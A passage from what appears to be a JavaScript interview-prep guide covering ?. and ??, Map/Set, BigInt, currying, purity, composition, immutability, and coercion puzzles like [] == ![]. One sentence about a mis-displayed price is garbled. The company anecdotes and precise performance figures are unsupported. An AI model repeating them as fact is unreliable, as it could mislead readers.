const port = config.port || 3000;
// If config.port is 0, this returns 3000! (0 is falsy)
// If config.port is '', this returns 3000! (empty string is falsy)

// ?? only triggers on null or undefined
const port = config.port ?? 3000;
// config.port = 0    -> 0 (correct!)
// config.port = ''   -> '' (correct!)
// config.port = null  -> 3000
// config.port = undefined -> 3000

// Falsy values that || treats as "missing" but ?? correctly preserves:
// 0, '', false, NaN
Combining them — the production pattern:
// Safe access + default value
const theme = user?.preferences?.theme ?? 'light';
const timeout = config?.network?.timeout ?? 5000;

// With destructuring defaults (alternative approach)
const { theme = 'light' } = user?.preferences ?? {};
What interviewers are really testing: Do you understand the difference between “falsy” (||) and “nullish” (??)? The classic trap: 0 || default returns default when you want 0. This bug has caused real production incidents (e.g., a price of 0.00beingdisplayedas0.00 being displayed as 9.99 because 0 || 9.99).Red flag answer: “I use || for defaults.” This works until someone passes 0, '', or false as a valid value. Switching from || to ?? is a common refactoring task, and it changes behavior for every falsy value.Follow-up questions:
  • “Can you use ?? and || in the same expression without parentheses?” — No. a ?? b || c is a SyntaxError. The spec intentionally requires parentheses to disambiguate: (a ?? b) || c or a ?? (b || c). This prevents bugs from confusing the two operators’ precedence.
  • “What is the performance of optional chaining in a hot loop?” — Zero overhead in modern engines. V8 compiles a?.b to the same machine code as a == null ? undefined : a.b. The syntactic sugar is fully optimized away. Use it freely without performance concerns.
  • “How does optional chaining interact with delete and assignment?”delete user?.profile works (deletes profile if user exists). But user?.profile = value is a SyntaxError — optional chaining cannot be on the left side of assignment. This is a deliberate design choice: writing to a potentially-nonexistent path is almost always a bug.
Structured Answer Template (?. and ??)
  1. Define: ?. short-circuits on nullish; ?? is “default only for nullish.”
  2. Contrast ?? vs || with the 0/""/false trap.
  3. Show method-call ?.() and bracket-access ?.[] variants.
  4. Note the syntax gotcha: a ?? b || c is a SyntaxError; require parentheses.
  5. Close with “free” performance — engines compile these to branchless code.
Big Word Alert — short-circuit evaluation: stopping evaluation of an expression once the result is known. ?. short-circuits to undefined at the first nullish link; ?? returns the left side unless it is null/undefined.
Real-World Example: Stripe’s dashboard team ran a codemod that replaced || with ?? for default-value expressions during a TypeScript migration. They found a real bug where a merchant’s configured fee of 0% was being displayed as the default 2.9% because 0 || 2.9 = 2.9. That one line had been silently wrong for months until strict typing surfaced it.Follow-up Q&A Chain:
  • Q: Does ?. swallow errors from method calls?
  • A: No — it only short-circuits on nullish receivers. obj?.fn() still throws if fn itself throws. It prevents “cannot read property of undefined,” not runtime errors inside the method.
  • Q: How does ??= differ from ???
  • A: a ??= b is the logical nullish assignment operator. It sets a = b only if a is null or undefined. Useful for lazy default initialization.
  • Q: Can I use ?. with function imports?
  • A: Yes — mod?.maybeFn?.() guards against both missing module and missing function. Useful when feature-detecting optional framework APIs.
Further Reading
Answer: Map and Set are the hash-table-based collections JavaScript was missing for years. Before ES6, developers misused plain objects as maps (with all the prototype pollution and key-coercion baggage that comes with it).Time complexity:
  • Map.get/set/has/delete: O(1) average (hash table)
  • Set.add/has/delete: O(1) average
  • Iteration: O(n) — and importantly, iteration order is insertion order (guaranteed by spec)
Map vs Object — when to use which:
FeatureMapObject
Key typesAny (objects, functions, primitives)Strings and Symbols only
Key orderInsertion order (guaranteed)Mostly insertion, but numeric keys sort first
Size.size property (O(1))Object.keys(obj).length (O(n))
IterationDirect (for...of, .forEach())Object.entries() then iterate
PrototypeNo prototype pollution riskHas toString, constructor, etc. on prototype
PerformanceFaster for frequent add/deleteFaster for static access (V8 inline caches)
SerializationNo native JSON supportJSON.stringify() works
// Set -- the fastest way to deduplicate
const arr = [1, 2, 3, 2, 1, 3, 4];
const unique = [...new Set(arr)]; // [1, 2, 3, 4]

// Set operations
const a = new Set([1, 2, 3, 4]);
const b = new Set([3, 4, 5, 6]);

const union = new Set([...a, ...b]);           // {1,2,3,4,5,6}
const intersection = new Set([...a].filter(x => b.has(x))); // {3,4}
const difference = new Set([...a].filter(x => !b.has(x)));  // {1,2}
// ES2025 adds: a.union(b), a.intersection(b), a.difference(b) natively

// Map -- when you need non-string keys
const cache = new Map();
cache.set(domElement, computedData); // Object as key -- impossible with plain object
cache.set(functionRef, memoizedResult); // Function as key
What interviewers are really testing: Do you know when to use Map over a plain object? Do you understand that Set deduplication is O(n) total (not O(n^2) like nested loops)? Senior candidates should mention the new Set methods (ES2025) and know that Map preserves insertion order.Red flag answer: “I just use objects for everything.” Plain objects have prototype pollution risks, coerce all keys to strings (so obj[1] and obj['1'] are the same key), and require hasOwnProperty checks for safe iteration.Follow-up questions:
  • “What happens if you use an object as a key in a plain object vs a Map?” — Plain object: the key is coerced to string via .toString(), resulting in "[object Object]". All objects share the same key! Map: the actual object reference is used as the key. Two different objects are two different keys. This is why Map exists.
  • “How would you serialize a Map to JSON and back?”JSON.stringify([...map]) converts to an array of [key, value] pairs. new Map(JSON.parse(jsonString)) restores it. For nested Maps, you need a custom replacer/reviver. Libraries like superjson handle this automatically.
  • “Are there performance differences between Map and Object for different use cases?” — For frequent insertions and deletions (like a cache with eviction), Map is 2-5x faster because objects need to manage hidden classes and inline caches. For static lookups on fixed-shape objects, plain objects are faster because V8 can use optimized inline caches. The crossover point is roughly at 100+ dynamic keys.
Structured Answer Template (Set/Map)
  1. State the complexity: O(1) average for add/get/has/delete.
  2. Contrast with plain objects: any-key, no prototype, .size in O(1), insertion order.
  3. Show Set for dedup, Map for object-keyed caches.
  4. Mention ES2025 Set methods (union, intersection, difference).
  5. Close with the WeakMap/WeakSet counterpart for GC-friendly keys.
Big Word Alert — prototype pollution: injecting properties into Object.prototype so that every plain object inherits them. Using a Map instead of a plain object eliminates this attack surface for user-supplied keys.
Real-World Example: Vercel’s edge cache uses Map keyed by Request objects (not strings) to deduplicate in-flight requests. A plain object would coerce every Request to "[object Request]" — collapsing every pending request into one entry and causing incorrect cache hits. Using Map preserved object identity as the key.Follow-up Q&A Chain:
  • Q: What is the difference between Set equality and Map key equality?
  • A: Both use the SameValueZero algorithm — like ===, except NaN equals NaN. Two different object references are always distinct keys, even if structurally identical.
  • Q: Why is iterating a Map faster than iterating an Object?
  • A: Map stores entries in a linked list in insertion order. Object iteration must enumerate properties, check descriptors, and follow the prototype chain to decide what to skip.
  • Q: How big can a Set get?
  • A: Bounded by memory. V8 and SpiderMonkey both use hash tables with incremental resizing, so you can reasonably hold millions of entries — just watch heap usage.
Further Reading
  • MDN: Map
  • MDN: Set
  • TC39: Set Methods proposal (now Stage 4)
Answer: BigInt is a numeric primitive that can represent integers of arbitrary precision — there is no upper limit. Regular Number uses IEEE 754 double-precision floats and can only safely represent integers up to 2^53 - 1 (Number.MAX_SAFE_INTEGER = 9,007,199,254,740,991).
// The problem BigInt solves
console.log(9007199254740991 + 1); // 9007199254740992 (correct)
console.log(9007199254740991 + 2); // 9007199254740992 (WRONG! same as +1)

// BigInt -- no precision loss
console.log(9007199254740991n + 2n); // 9007199254740993n (correct)
const huge = 123456789012345678901234567890n;

// Creating BigInt
const a = 42n;            // Literal suffix
const b = BigInt(42);     // Constructor from number
const c = BigInt("123");  // Constructor from string (useful for API responses)
The mixing restriction — you CANNOT mix BigInt and Number:
42n + 1;            // TypeError: Cannot mix BigInt and other types
42n === 42;         // false (different types)
42n == 42;          // true (loose equality coerces)
Math.max(1n, 2n);   // TypeError: BigInt is not a Number

// Must explicitly convert
Number(42n) + 1;    // 43 (may lose precision for large values)
42n + BigInt(1);    // 43n
Real-world use cases:
  • Financial calculations — Represent cents as BigInt to avoid floating-point errors. $100.50 = 10050n cents.
  • Database IDs — Twitter snowflake IDs, Discord IDs exceed Number.MAX_SAFE_INTEGER. Without BigInt, JSON.parse corrupts them. Solution: receive as string, convert to BigInt.
  • Cryptography — RSA key operations on 2048-bit numbers.
  • Timestamps with microsecond precisionprocess.hrtime.bigint() returns nanosecond timestamps as BigInt.
The JSON gotcha:
JSON.stringify({ id: 42n }); // TypeError: Do not know how to serialize a BigInt

// Fix: custom serializer
JSON.stringify({ id: 42n }, (key, value) =>
    typeof value === 'bigint' ? value.toString() : value
);
What interviewers are really testing: Do you know why BigInt exists (precision loss with large numbers)? Can you identify scenarios where it is needed? The Twitter ID example is a classic production bug.Red flag answer: “JavaScript numbers are always precise.” They are NOT — 0.1 + 0.2 !== 0.3 and integers beyond 2^53 lose precision. BigInt solves the integer part.Follow-up questions:
  • “A REST API returns a JSON body with {"id": 9007199254740993}. What happens when you JSON.parse it?” — The number is silently truncated to 9007199254740992 because JSON.parse uses JavaScript’s Number type, which cannot represent it precisely. The ID is now wrong. Solutions: (1) API returns the ID as a string: "id": "9007199254740993". (2) Use a custom JSON parser that handles large integers (like json-bigint npm). (3) Use BigInt(idString) on the client.
  • “Why can you not use BigInt with Math methods?”Math methods are designed for IEEE 754 doubles. BigInt has no concept of NaN, Infinity, or fractional parts. Adding BigInt support to every Math method would require new semantics. Instead, perform BigInt arithmetic directly with operators (+, -, *, /, **, %). Division is integer division: 7n / 2n === 3n (truncates, does not round).
  • “What is the performance of BigInt vs Number?” — BigInt operations are 5-100x slower than Number operations because they use arbitrary-precision arithmetic (like Python’s integers) rather than hardware-accelerated 64-bit float operations. For numbers that fit in Number.MAX_SAFE_INTEGER, always use Number. Use BigInt only when precision requires it.

5. Functional Programming patterns

Answer: Currying transforms a function that takes multiple arguments into a sequence of functions each taking a single argument: f(a, b, c) becomes f(a)(b)(c). Partial application is the related concept of fixing some arguments upfront and returning a function that takes the rest.
// Manual currying
const add = a => b => a + b;
const addFive = add(5);  // Partial application -- 'a' is fixed to 5
addFive(10); // 15
addFive(20); // 25

// Generic curry utility (handles any arity)
function curry(fn) {
    return function curried(...args) {
        if (args.length >= fn.length) {
            return fn(...args);
        }
        return (...moreArgs) => curried(...args, ...moreArgs);
    };
}

const multiply = curry((a, b, c) => a * b * c);
multiply(2)(3)(4);    // 24
multiply(2, 3)(4);    // 24 -- can pass multiple args at once
multiply(2)(3, 4);    // 24

// Real-world: configurable validators
const isGreaterThan = curry((min, value) => value > min);
const isAdult = isGreaterThan(18);
const isRetired = isGreaterThan(65);
[15, 22, 70].filter(isAdult); // [22, 70]
Where currying shines in production:
  • Configurable middleware: const authMiddleware = requireRole('admin') where requireRole is curried
  • Event handler factories: const handleChange = fieldName => event => setState({ [fieldName]: event.target.value })
  • Point-free composition: users.filter(isActive).map(getName).filter(startsWith('A')) where each function is a curried one-arg function
What interviewers are really testing: Do you understand the difference between currying (always unary) and partial application (fix some args)? Can you write a generic curry utility? Senior candidates should discuss the readability tradeoff — heavy currying can make code harder to follow for team members unfamiliar with FP.Red flag answer: Confusing currying with simply nesting arrow functions. Also: not knowing that bind is JavaScript’s built-in partial application: fn.bind(null, arg1).Follow-up questions:
  • “What is the practical difference between currying and Function.prototype.bind?”bind partially applies arguments from the left and returns a new function. It also fixes this. Currying creates a chain of unary functions. bind is eager (all partial args at once), currying is incremental (one at a time). In practice, bind is more common in OOP code, currying in FP-style code.
  • “When does currying hurt readability?” — When the curried function’s arguments are not self-documenting: process(3)(true)(data) — what do 3 and true mean? Compare with process(retries=3, verbose=true, data). Currying works best when arguments represent natural layers of configuration: logTo(destination)(level)(message).
  • “How does lodash/fp differ from regular lodash regarding currying?”lodash/fp auto-curries all functions and rearranges arguments to be data-last (the collection/data is the last argument). This enables clean composition: flow(filter(isActive), map(getName), take(10))(users). Regular lodash is data-first, which requires wrapping for composition.
Answer: A pure function has two properties: (1) given the same inputs, it always returns the same output (deterministic), and (2) it has no side effects (no observable changes outside the function). This is the foundation of functional programming, and it has concrete engineering benefits.
// PURE -- deterministic, no side effects
function calculateTotal(items, taxRate) {
    return items.reduce((sum, item) => sum + item.price, 0) * (1 + taxRate);
}

// IMPURE -- depends on external state
let taxRate = 0.1;
function calculateTotal(items) {
    return items.reduce((sum, item) => sum + item.price, 0) * (1 + taxRate);
    // If taxRate changes between calls, same items produce different results
}

// IMPURE -- side effect (mutates input)
function addDiscount(items) {
    items.forEach(item => item.price *= 0.9); // Mutates the original array
    return items;
}

// PURE version -- returns new data
function addDiscount(items) {
    return items.map(item => ({ ...item, price: item.price * 0.9 }));
}
Why purity matters in production:
  1. Testable — No mocking required. Input in, output out. Assert on the return value. A pure function test is one line: expect(add(2, 3)).toBe(5).
  2. Memoizable — Since same input = same output, you can cache results. React.memo, useMemo, reselect all rely on purity.
  3. Parallelizable — Pure functions cannot interfere with each other (no shared mutable state), so they can run concurrently.
  4. Debuggable — You can replay function calls with the same inputs and get the same behavior. Time-travel debugging (Redux DevTools) depends on reducer purity.
The pragmatic view: Not everything can or should be pure. HTTP calls, database queries, logging, DOM updates — these are inherently side-effectful. The strategy is to push side effects to the edges of your system and keep the core logic pure. This is the “functional core, imperative shell” pattern.What interviewers are really testing: Do you understand why purity matters (not just the definition)? Can you identify impure functions in existing code? Senior candidates should connect purity to memoization, Redux reducers, and React rendering.Red flag answer: “All my functions are pure.” That is not possible in a real application. Pure functions cannot fetch data or update the DOM. The skill is knowing which functions SHOULD be pure and which necessarily have side effects.Follow-up questions:
  • “Is console.log inside a function a side effect?” — Technically yes — it modifies observable external state (the console output). In practice, logging is considered a benign side effect. However, if your tests assert on console output, or if logging impacts performance (structured logging to a remote service), it matters. Remove console.log from production code not for purity, but for performance and security.
  • “How does React’s rendering model depend on pure functions?” — React components should be pure functions of their props and state (same props + state = same JSX output). React may re-render a component multiple times (Strict Mode double-renders, concurrent features). If your component has side effects in the render body (not in useEffect), you get inconsistent behavior. This is why React Strict Mode exists — it exposes impure render functions.
  • “What is referential transparency and how does it relate to purity?” — A function call is referentially transparent if you can replace it with its return value without changing program behavior. add(2, 3) can be replaced with 5 everywhere. fetchUser(id) cannot — the result depends on external state (the database). Referential transparency is a consequence of purity, and it is what enables memoization and compiler optimizations.
Answer: A higher-order function either takes one or more functions as arguments, returns a function, or both. This is not just a theoretical concept — HOFs are the backbone of JavaScript patterns from array methods to middleware to React hooks.
// Takes a function as argument
[1, 2, 3].map(x => x * 2);         // Array.prototype.map is a HOF
[1, 2, 3].filter(x => x > 1);      // Array.prototype.filter is a HOF
[1, 2, 3].reduce((sum, x) => sum + x, 0); // reduce is a HOF

// Returns a function
function multiplier(factor) {
    return (number) => number * factor; // Returns a new function
}
const double = multiplier(2);
const triple = multiplier(3);
double(5); // 10
triple(5); // 15

// Both: takes a function AND returns a function
function withLogging(fn) {
    return (...args) => {
        console.log(`Calling ${fn.name} with`, args);
        const result = fn(...args);
        console.log(`Result:`, result);
        return result;
    };
}
const loggedAdd = withLogging((a, b) => a + b);
loggedAdd(2, 3); // Logs call and result, returns 5
HOFs everywhere in production code:
  • Express middleware: app.use(cors())cors() is a HOF that returns a middleware function
  • React HOC pattern: export default withAuth(withTheme(MyComponent)) — each wrapper takes a component and returns an enhanced component
  • Redux middleware: store => next => action => { ... } — triple-nested HOF
  • Event handling: element.addEventListener('click', handler)addEventListener is a HOF
  • Debounce/throttle: debounce(fetchResults, 300) — returns a rate-limited version of the function
What interviewers are really testing: Can you identify HOFs in everyday code? Can you write one from scratch? Senior candidates should explain HOFs as the pattern behind middleware, decorators, and React’s composition model.Red flag answer: Listing map, filter, reduce without being able to explain what makes them higher-order, or not recognizing that setTimeout is a HOF (takes a function argument).Follow-up questions:
  • “What is the difference between a HOF and a decorator?” — A decorator is a specific type of HOF that wraps a function to extend its behavior without modifying the original. withLogging above is a decorator. JavaScript has a decorator proposal (Stage 3) that adds syntax: @withLogging class MyClass {}. The distinction: all decorators are HOFs, but not all HOFs are decorators (e.g., map transforms data, it does not decorate a function).
  • “Why did React move from HOCs to hooks?” — HOCs (withAuth(withTheme(withRouter(Component)))) create “wrapper hell” — deep component trees in DevTools, prop name collisions, and difficulty in understanding which HOC provides which prop. Hooks (useAuth(), useTheme()) compose linearly without nesting, have clear data flow, and are easier to type with TypeScript. The underlying concept (function composition) is the same; the ergonomics are better.
  • “Implement Array.prototype.map as a higher-order function without using the built-in method.”function map(arr, fn) { const result = []; for (let i = 0; i < arr.length; i++) { result.push(fn(arr[i], i, arr)); } return result; }. The key details: pass index and array as second/third arguments (matching the spec), handle sparse arrays (skip empty slots), and return a NEW array (do not mutate the original).
Answer: Composition is combining simple functions to build complex ones. Instead of const result = h(g(f(x))) (which reads inside-out), you use pipe(f, g, h)(x) (which reads left-to-right, like a pipeline).
// compose: right-to-left (mathematical tradition)
const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);

// pipe: left-to-right (reads like natural English)
const pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);

// Example: user data transformation pipeline
const getName = user => user.name;
const toUpper = str => str.toUpperCase();
const addGreeting = name => `Hello, ${name}!`;

const greetUser = pipe(getName, toUpper, addGreeting);
greetUser({ name: 'alice' }); // "Hello, ALICE!"

// Compare without composition:
function greetUser(user) {
    return addGreeting(toUpper(getName(user)));
    // Reads inside-out -- harder to follow
}
Real-world composition patterns:
// Data processing pipeline
const processOrders = pipe(
    filterActiveOrders,
    sortByDate,
    calculateTotals,
    formatForDisplay
);

// Redux-style middleware composition
const enhancer = compose(
    applyMiddleware(thunk, logger),
    devToolsExtension()
);

// Validation pipeline
const validateUser = pipe(
    checkRequired(['name', 'email']),
    checkEmailFormat,
    checkPasswordStrength,
    sanitizeInput
);
The TC39 Pipeline Operator proposal (|>):
// Stage 2 proposal -- not yet in the language
const result = data
    |> filterActive
    |> sortByDate
    |> formatForDisplay;
// Reads naturally as "data, then filter, then sort, then format"
What interviewers are really testing: Do you know the difference between compose (right-to-left) and pipe (left-to-right)? Can you explain why each function in the pipeline must take one argument and return one value (unary in, value out)?Red flag answer: “I don’t use composition because it’s hard to debug.” This is a valid concern but not a reason to avoid it. Modern debuggers can step through composed pipelines. The readability gain for data transformation code is significant.Follow-up questions:
  • “How do you handle errors in a composed pipeline?” — Several strategies: (1) Each function returns a Result/Either type ({ ok: value } or { err: reason }), and subsequent functions check for errors. (2) Wrap the pipeline in try/catch. (3) Use a monadic pipe that short-circuits on error (like fp-ts’s pipe with Either). Option 1 is the FP approach; option 2 is the pragmatic approach.
  • “What happens when a function in the pipeline needs multiple arguments?” — You curry it. const filtered = pipe(filter(isActive), map(getName))filter(isActive) is a curried call that returns a unary function. This is why currying and composition go hand-in-hand in FP.
  • “How does lodash/fp’s flow compare to a manual pipe?”flow is lodash’s pipe equivalent (left-to-right). It handles edge cases: passing multiple arguments to the first function, async functions (with flowAsync), and integrates with lodash/fp’s auto-curried functions. For production use, flow is more robust than a hand-rolled pipe.
Answer: Immutability means never modifying existing data — instead, you create new copies with the changes applied. This is not just a style preference; it is a correctness requirement for React, Redux, and any system that uses reference equality to detect changes.Why immutability matters concretely:
// React's re-render check uses reference equality (===)
const [items, setItems] = useState([1, 2, 3]);

// BAD: Mutates the existing array -- React does NOT re-render
items.push(4);      // Same array reference
setItems(items);     // React: items === items, no change, skip render

// GOOD: New array -- React detects the change and re-renders
setItems([...items, 4]); // New reference, React sees the difference

// Redux reducer -- MUST return new state
function reducer(state, action) {
    // BAD: mutation
    state.items.push(action.payload); // state reference unchanged
    return state; // Redux: state === oldState, no update

    // GOOD: immutable update
    return { ...state, items: [...state.items, action.payload] };
}
Immutable update patterns:
// Shallow copy approaches
const newArr = [...arr, newItem];               // Add to array
const newArr = arr.filter(x => x.id !== id);   // Remove from array
const newArr = arr.map(x => x.id === id ? { ...x, ...updates } : x); // Update in array
const newObj = { ...obj, key: newValue };       // Update object property
const { removed, ...rest } = obj;              // Remove object property

// Deep nested updates (the pain point)
const newState = {
    ...state,
    users: {
        ...state.users,
        [userId]: {
            ...state.users[userId],
            address: {
                ...state.users[userId].address,
                city: 'NYC'
            }
        }
    }
};
// This is why Immer exists.
Immer — the production solution for complex immutable updates:
import produce from 'immer';

const newState = produce(state, draft => {
    // Write mutations naturally -- Immer tracks them and produces immutable result
    draft.users[userId].address.city = 'NYC';
    draft.items.push(newItem);
    delete draft.temp;
});
// state is unchanged, newState is a new object with the changes
Object.freeze() vs true immutability:
  • Object.freeze(obj) prevents modification at runtime (throws in strict mode, silently fails in sloppy mode)
  • It is shallow — nested objects are still mutable. Object.freeze({ a: { b: 1 } }).a.b = 2 succeeds.
  • Deep freeze: function deepFreeze(obj) { Object.freeze(obj); Object.values(obj).filter(v => typeof v === 'object').forEach(deepFreeze); }
  • Object.freeze has a runtime cost and is usually for development/debugging, not production enforcement.
What interviewers are really testing: Do you understand WHY React/Redux require immutability (reference equality checks)? Can you perform immutable updates without Immer? Do you know the nested update problem and how Immer solves it?Red flag answer: “I use Object.freeze to make everything immutable.” Freeze is shallow, has runtime cost, and throws in unexpected places. The real immutability discipline is about update patterns (spread, map, filter), not freeze.Follow-up questions:
  • “What is structural sharing and why does it matter for immutability performance?” — When you spread { ...obj, key: newVal }, only the top-level object is new. All unchanged nested objects keep the same reference. This means you are not deep-cloning the entire state on every update — only the changed path gets new references. Libraries like Immutable.js use persistent data structures (tries) that share structure more efficiently for very large collections.
  • “When is Immer’s proxy-based approach slower than manual spreads?” — Immer creates a Proxy for every object in the tree, which adds overhead per operation. For simple, shallow updates ({ ...state, count: state.count + 1 }), manual spread is faster. Immer shines for complex, deeply nested updates where manual spreading is verbose and error-prone. The crossover point: if your update touches 3+ levels of nesting, Immer is worth the overhead.
  • “How do Immutable.js and Immer compare?” — Immutable.js provides custom data structures (Map, List, Record) with O(log32 n) updates via persistent tries. Immer works with plain JavaScript objects and uses Proxies to produce new plain objects. Immer is simpler (no API to learn, interops with any library), but Immutable.js is faster for large collections with frequent updates. Most teams today choose Immer for simplicity — the performance difference rarely matters in practice.

6. Tricky Code Snippets

Answer: [] == ![] is true, and understanding why requires tracing through JavaScript’s Abstract Equality algorithm step by step. This is not trivia — it reveals how type coercion works, which matters every time you use ==.Step-by-step:
  1. ![] evaluates first. [] is truthy (all objects are truthy), so ![] = false
  2. Now we have [] == false
  3. The == algorithm: if one side is boolean, convert it to number. false -> 0
  4. Now: [] == 0
  5. The algorithm: if one side is object and other is number, call ToPrimitive on the object. [].valueOf() returns [] (not a primitive), so try [].toString() which returns ""
  6. Now: "" == 0
  7. String vs number: convert string to number. Number("") = 0
  8. 0 == 0 -> true
The Abstract Equality algorithm (==) rules:
  1. Same type? Use strict equality (===)
  2. null == undefined -> true (and only these two are equal to each other)
  3. Number vs String -> convert string to number
  4. Boolean vs anything -> convert boolean to number first
  5. Object vs primitive -> call ToPrimitive (valueOf, then toString)
Why === should be your default: == applies up to 3 type conversions before comparing. This creates unintuitive results: "" == false (true), " " == 0 (true), "0" == false (true). Use === everywhere, switch to == only for the == null pattern (checks both null and undefined).What interviewers are really testing: Can you walk through the coercion algorithm? Do you understand that the order of conversions matters? This tests your understanding of JavaScript’s type system at a fundamental level.Red flag answer: “It’s just a JavaScript quirk, I always use ===.” Using === is correct practice, but not understanding WHY == behaves this way shows a shallow mental model.Follow-up questions:
  • “What does ToPrimitive do and how can you customize it?”ToPrimitive tries valueOf() first, then toString(). You can override this with Symbol.toPrimitive: const obj = { [Symbol.toPrimitive](hint) { return hint === 'number' ? 42 : 'hello'; } }. The hint is 'number', 'string', or 'default' depending on context. +obj uses number hint, `${obj}` uses string hint, obj == uses default.
  • “Is there any case where == is preferred over ===?” — The == null pattern: if (value == null) checks for both null and undefined in one expression. if (value === null || value === undefined) is equivalent but more verbose. Many style guides (including the one used by jQuery’s codebase) accept this specific use of ==.
  • “What is Object.is() and when does it differ from ===?”Object.is() has two differences from ===: (1) Object.is(NaN, NaN) is true (vs NaN === NaN is false). (2) Object.is(+0, -0) is false (vs +0 === -0 is true). React uses Object.is for useState comparison, which means setting state to NaN twice will NOT trigger a re-render (it sees them as same).
Answer: typeof null returns "object". This is a bug from the original JavaScript implementation (1995) that can never be fixed because too much code depends on it. In the original C implementation, values were stored as a type tag + value. Objects had type tag 0. null was represented as the NULL pointer (0x00), and the type check only looked at the tag bits — so null was misidentified as an object.
typeof null;        // "object" -- historical bug
typeof undefined;   // "undefined"
typeof 42;          // "number"
typeof "hello";     // "string"
typeof true;        // "boolean"
typeof Symbol();    // "symbol"
typeof 42n;         // "bigint"
typeof function(){}; // "function" -- technically objects, but typeof gives special treatment
typeof {};          // "object"
typeof [];          // "object" -- arrays are objects!
Reliable type checking in production:
// Check for null explicitly
value === null

// Check for array
Array.isArray(value)

// Check for object (excluding null and arrays)
typeof value === 'object' && value !== null && !Array.isArray(value)

// Most reliable type check for any value
Object.prototype.toString.call(value)
// "[object Null]", "[object Array]", "[object Date]", "[object RegExp]", etc.
What interviewers are really testing: Do you know the typeof null bug and can you explain it? More importantly, can you write correct type checks for arrays, objects, and null?Red flag answer: “Use typeof to check if something is an object.” typeof null === 'object' means this fails silently for null values. Every typeof x === 'object' check should include && x !== null.Follow-up questions:
  • “Why does typeof function(){} return 'function' if functions are objects?” — Functions are indeed objects (they have properties, can have methods). The spec gives them special treatment in typeof because distinguishing functions from other objects is extremely useful in practice. Internally, the check is: does the object have a [[Call]] internal method? If yes, return “function”.
  • “How does TypeScript handle this differently?” — TypeScript’s type system eliminates most runtime type checking needs. Type guards (if (typeof x === 'string')) narrow the type in TypeScript. For null checks, strict null checking (strictNullChecks) makes null a separate type that must be explicitly handled. This catches the typeof null === 'object' class of bugs at compile time.
  • “What is the instanceof operator and when does it fail?”instanceof checks the prototype chain: [] instanceof Array is true. It fails across realms (iframes, Node vm modules) because each realm has its own Array constructor. An array from an iframe is NOT instanceof Array in the parent frame. This is why Array.isArray() exists — it works cross-realm.
Code:
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100);
}
Output: 3, 3, 3Why: var is function-scoped (or global-scoped), NOT block-scoped. There is ONE i variable shared across all three iterations. By the time the setTimeout callbacks execute (after the loop finishes), i is 3.The three fixes and when to use each:
// Fix 1: let (modern, preferred)
for (let i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100);
}
// Output: 0, 1, 2
// 'let' creates a new binding per iteration -- each closure captures its own 'i'

// Fix 2: IIFE (pre-ES6, still seen in legacy code)
for (var i = 0; i < 3; i++) {
    (function(j) {
        setTimeout(() => console.log(j), 100);
    })(i);
}
// Each IIFE call creates a new scope with its own 'j'

// Fix 3: Bind / third argument
for (var i = 0; i < 3; i++) {
    setTimeout(console.log.bind(console, i), 100);
}
// bind captures the current value of 'i' at call time
Why let fixes it — the spec detail: For let in a for-loop, the spec creates a new lexical environment for each iteration and copies the current value of the loop variable into it. This is special behavior just for for-loops — it is NOT the same as declaring let i inside the loop body.Real-world version of this bug:
// Common in event handler setup (pre-ES6 code)
var buttons = document.querySelectorAll('.btn');
for (var i = 0; i < buttons.length; i++) {
    buttons[i].addEventListener('click', function() {
        console.log('Button ' + i + ' clicked');
    });
}
// Every button logs "Button 3 clicked" (or however many buttons exist)
What interviewers are really testing: Do you understand variable scoping and closure interaction? This is the most classic JavaScript interview question. If you cannot explain it clearly, it signals weak fundamentals.Red flag answer: “I just use let and don’t worry about it.” Knowing the fix is good, but understanding WHY var breaks (function scoping + closure capturing a reference) demonstrates real comprehension.Follow-up questions:
  • “What if the loop uses let but the callback is async? Does the same fix apply?” — Yes. for (let i = 0; i < 3; i++) { await doSomething(i); } gives each iteration its own i. But with let + forEach, there is no await support: arr.forEach(async (item) => { await process(item); }) fires ALL iterations concurrently because forEach does not await the callback. Use for...of for sequential async iteration.
  • “Is there a performance difference between let in a loop and var with an IIFE?” — Negligible in modern engines. V8 optimizes let loop bindings. The IIFE approach has the overhead of creating a function per iteration and calling it, which is measurably slower for very tight loops (millions of iterations). In practice, neither matters — use let for clarity.
Answer: NaN (Not a Number) is the only value in JavaScript that is not equal to itself. This is per the IEEE 754 floating-point spec, not a JavaScript-specific bug.
NaN === NaN;         // false
NaN == NaN;          // false
NaN !== NaN;         // true -- the only value where this is true

// The old (bad) way to check
isNaN('hello');      // true -- WRONG! 'hello' is not NaN, it is a string
isNaN(undefined);    // true -- also wrong

// The correct ways
Number.isNaN(NaN);       // true
Number.isNaN('hello');   // false (correct -- does not coerce)
Number.isNaN(undefined); // false (correct)

Object.is(NaN, NaN);    // true (the only equality check that works for NaN)

// Self-inequality trick (legacy detection)
function isNaN_old(value) {
    return value !== value; // Only NaN is not equal to itself
}
When you encounter NaN in production:
parseInt('abc');           // NaN
0 / 0;                    // NaN
Math.sqrt(-1);            // NaN
Number(undefined);        // NaN
Number('');               // 0 (NOT NaN -- careful!)
undefined + 1;            // NaN
JSON.parse('"NaN"');      // "NaN" (string, not NaN)
NaN propagation — “NaN is contagious”:
NaN + 5;   // NaN
NaN * 100; // NaN
// Any arithmetic with NaN produces NaN
// This means one bad value can silently corrupt an entire calculation chain
What interviewers are really testing: Do you know the difference between isNaN() and Number.isNaN()? Can you explain why NaN !== NaN?Red flag answer: Using the global isNaN() function, which coerces its argument to a number first, giving false positives for non-numeric strings.Follow-up questions:
  • “How does NaN interact with array methods like indexOf and includes?”[NaN].indexOf(NaN) returns -1 (uses === internally, NaN !== NaN). [NaN].includes(NaN) returns true (uses SameValueZero algorithm, which treats NaN as equal to NaN). This is a deliberate spec difference. Always use includes when checking for NaN in arrays.
  • “How do you safely handle potential NaN in financial calculations?” — Validate inputs with Number.isFinite() (rejects NaN, Infinity, and -Infinity). Use early returns or throw on invalid input rather than letting NaN propagate. For display, use value || 0 or Number.isNaN(value) ? 0 : value. In critical financial code, consider using integer cents or BigInt to avoid floating-point issues entirely.
Code:
const a = {}, b = { key: 'b' }, c = { key: 'c' };
a[b] = 123;
a[c] = 456;
console.log(a[b]);
Output: 456Why: Object property keys must be strings or Symbols. When you use an object as a key, JavaScript calls .toString() on it, which returns "[object Object]" for ALL plain objects. So a[b] and a[c] both write to the key "[object Object]" — the second write overwrites the first.
const b = { key: 'b' };
const c = { key: 'c' };
b.toString(); // "[object Object]"
c.toString(); // "[object Object]" -- same key!

const a = {};
